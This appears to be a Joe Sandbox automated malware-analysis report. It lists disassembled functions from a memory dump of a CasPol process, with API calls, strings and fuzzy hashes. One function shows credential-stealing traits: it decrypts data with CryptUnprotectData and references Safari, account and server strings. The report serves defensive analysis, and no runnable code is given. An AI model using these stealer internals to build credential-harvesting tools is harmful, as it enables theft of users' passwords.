                                                                                                                                                                                                  • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                                                                                                  • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                                                                                                                                                                                                  • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                                                                                                                                                                                                  Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AttributesFile
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3188754299-0
                                                                                                                                                                                                  • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                                                                                                  • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                                                                                                                                                                                                  Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                                                                                                                                  • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                                                                                                                                                                                                  Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 004095FC
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                    • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                                                                                                                                                                                                    • Part of subcall function 004091B8: memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                                                                                                                                    • Part of subcall function 004091B8: memcmp.MSVCRT ref: 004092D9
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3655998216-0
                                                                                                                                                                                                  • Opcode ID: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                                                                                                  • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                                                                                                                                                                                                  Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445426
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                                                                                                    • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B80C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1828521557-0
                                                                                                                                                                                                  • Opcode ID: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                                                                                                  • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                                                                                                                                                                                                  Function 004068BF Relevance: 1.3, APIs: 1, Instructions: 59COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                                                    • Part of subcall function 004062A6: SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000), ref: 004062C2
                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,?,00000000,0040627C), ref: 00406942
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ??2@FilePointermemcpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 609303285-0
                                                                                                                                                                                                  • Opcode ID: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                                                                                                                                  • Instruction ID: a147fa8ec668463fbbadbca9a08a444fcb23aa95a0ceadfc627c4072e562ebd5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4B11A7B2500108BBDB11A755C840F9F77ADDF85318F16807AF90677281C778AE2687A9
                                                                                                                                                                                                  Function 00406B90 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2081463915-0
                                                                                                                                                                                                  • Opcode ID: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                                                                                                  • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                                                                                                                                                                                                  Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF), ref: 0040629C
                                                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                                                  • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                                                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseCreateErrorHandleLastRead
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2136311172-0
                                                                                                                                                                                                  • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                                                                                                  • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                                                                                                                                                                                                  Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ??2@??3@
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1936579350-0
                                                                                                                                                                                                  • Opcode ID: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                                                                                                  • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8
                                                                                                                                                                                                  Function 0040B633 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1294909896-0
                                                                                                                                                                                                  • Opcode ID: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                                                                                                                                  • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                                                                                                                                                                                                  Function 0040AA04 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1294909896-0
                                                                                                                                                                                                  • Opcode ID: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                                                                                                                                  • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18

                                                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                                                  Function 004182CE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004182D7
                                                                                                                                                                                                    • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                                                                                                  • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 004182FE
                                                                                                                                                                                                  • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00418327
                                                                                                                                                                                                  • LocalFree.KERNEL32(?), ref: 00418342
                                                                                                                                                                                                  • free.MSVCRT ref: 00418370
                                                                                                                                                                                                    • Part of subcall function 00417434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                                                                                                                                                                                                    • Part of subcall function 00417434: malloc.MSVCRT ref: 00417459
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FormatMessage$ByteCharErrorFreeLastLocalMultiVersionWidefreemalloc
                                                                                                                                                                                                  • String ID: OsError 0x%x (%u)
                                                                                                                                                                                                  • API String ID: 2360000266-2664311388
                                                                                                                                                                                                  • Opcode ID: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                                                                                                                                  • Instruction ID: 20f22e5b187e4483f2e635e74e626e0383ca95cf640bb4168ff376264581b0c9
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6011B634901128FBCB11ABE2DC49CDF7F78FF85B54B10405AF811A2251DB754A81D7A9
                                                                                                                                                                                                  Function 0041739B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Version
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1889659487-0
                                                                                                                                                                                                  • Opcode ID: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                                                                                                                                  • Instruction ID: 34334e4c1a53cba42546035453d5331cf18162d9798f59f763323439a3546438
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BAE0463590131CCFEB24DB34DB0B7C676F5AB08B46F0104F4C20AC2092D3789688CA2A
                                                                                                                                                                                                  Function 00402279 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 285COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 004022A6
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 004022D7
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00402305
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00402333
                                                                                                                                                                                                    • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                                                                                                                                    • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040265F
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000011), ref: 0040269B
                                                                                                                                                                                                    • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404453
                                                                                                                                                                                                    • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                                                                                                    • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,0000001C,?,?,00000000,?), ref: 004026FF
                                                                                                                                                                                                  • LocalFree.KERNEL32(?,?,?,00000000,?,?,00000000,?), ref: 00402764
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,00000000,?), ref: 00402775
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _wcsicmp$Freememcpy$Library$AddressCryptDataLocalProcUnprotectmemsetwcslen
                                                                                                                                                                                                  • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                                                                                                                                                                                                  • API String ID: 2929817778-1134094380
                                                                                                                                                                                                  • Opcode ID: dd22fc70d251945153f84157bbedf09d5f9a0a96f25b2184ec3973dd1390e5a3
                                                                                                                                                                                                  • Instruction ID: 24bcbd005531c38afe4d7004bd238553ea51a424b60caac2517de9c8923e7683
                                                                                                                                                                                                  • Opcode Fuzzy Hash: dd22fc70d251945153f84157bbedf09d5f9a0a96f25b2184ec3973dd1390e5a3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8FE1F32010C7C19DD332D678884978BBFD45BA7328F484B9EF1E89A2D2D7B98509C767
                                                                                                                                                                                                  Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                                                                                                                                                                                                  • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                                                                                                                                                                                                  • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                                                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 0041407D
                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00414088
                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                                                                                                                                                                                                  • GetDC.USER32 ref: 004140E3
                                                                                                                                                                                                  • wcslen.MSVCRT ref: 00414123
                                                                                                                                                                                                  • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                                                                                                                                                                                                  • ReleaseDC.USER32(?,?), ref: 00414181
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 00414244
                                                                                                                                                                                                  • SetWindowTextW.USER32(?,?), ref: 00414258
                                                                                                                                                                                                  • SetWindowTextW.USER32(?,00000000), ref: 00414276
                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000001), ref: 004142AC
                                                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 004142BC
                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 004142E1
                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 004142EB
                                                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0041433B
                                                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                                                                                                                                                                                                  • String ID: %s:$EDIT$STATIC
                                                                                                                                                                                                  • API String ID: 2080319088-3046471546
                                                                                                                                                                                                  • Opcode ID: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                                                                                                  • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                                                                                                                                                                                                  Function 004131DC Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • EndDialog.USER32(?,?), ref: 00413221
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EA), ref: 00413239
                                                                                                                                                                                                  • SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00413257
                                                                                                                                                                                                  • SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00413263
                                                                                                                                                                                                  • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0041326B
                                                                                                                                                                                                  • memset.MSVCRT ref: 00413292
                                                                                                                                                                                                  • memset.MSVCRT ref: 004132B4
                                                                                                                                                                                                  • memset.MSVCRT ref: 004132CD
                                                                                                                                                                                                  • memset.MSVCRT ref: 004132E1
                                                                                                                                                                                                  • memset.MSVCRT ref: 004132FB
                                                                                                                                                                                                  • memset.MSVCRT ref: 00413310
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32 ref: 00413318
                                                                                                                                                                                                  • ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041333B
                                                                                                                                                                                                  • ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0041336D
                                                                                                                                                                                                  • memset.MSVCRT ref: 004133C0
                                                                                                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 004133CE
                                                                                                                                                                                                  • memcpy.MSVCRT(?,0045AA90,0000021C), ref: 004133FC
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 0041341F
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0041348E
                                                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004134A6
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EA), ref: 004134B0
                                                                                                                                                                                                  • SetFocus.USER32(00000000), ref: 004134B7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00413483
                                                                                                                                                                                                  • {Unknown}, xrefs: 004132A6
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                                                                                                                                                                                                  • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                                                                                                                                                                                                  • API String ID: 4111938811-1819279800
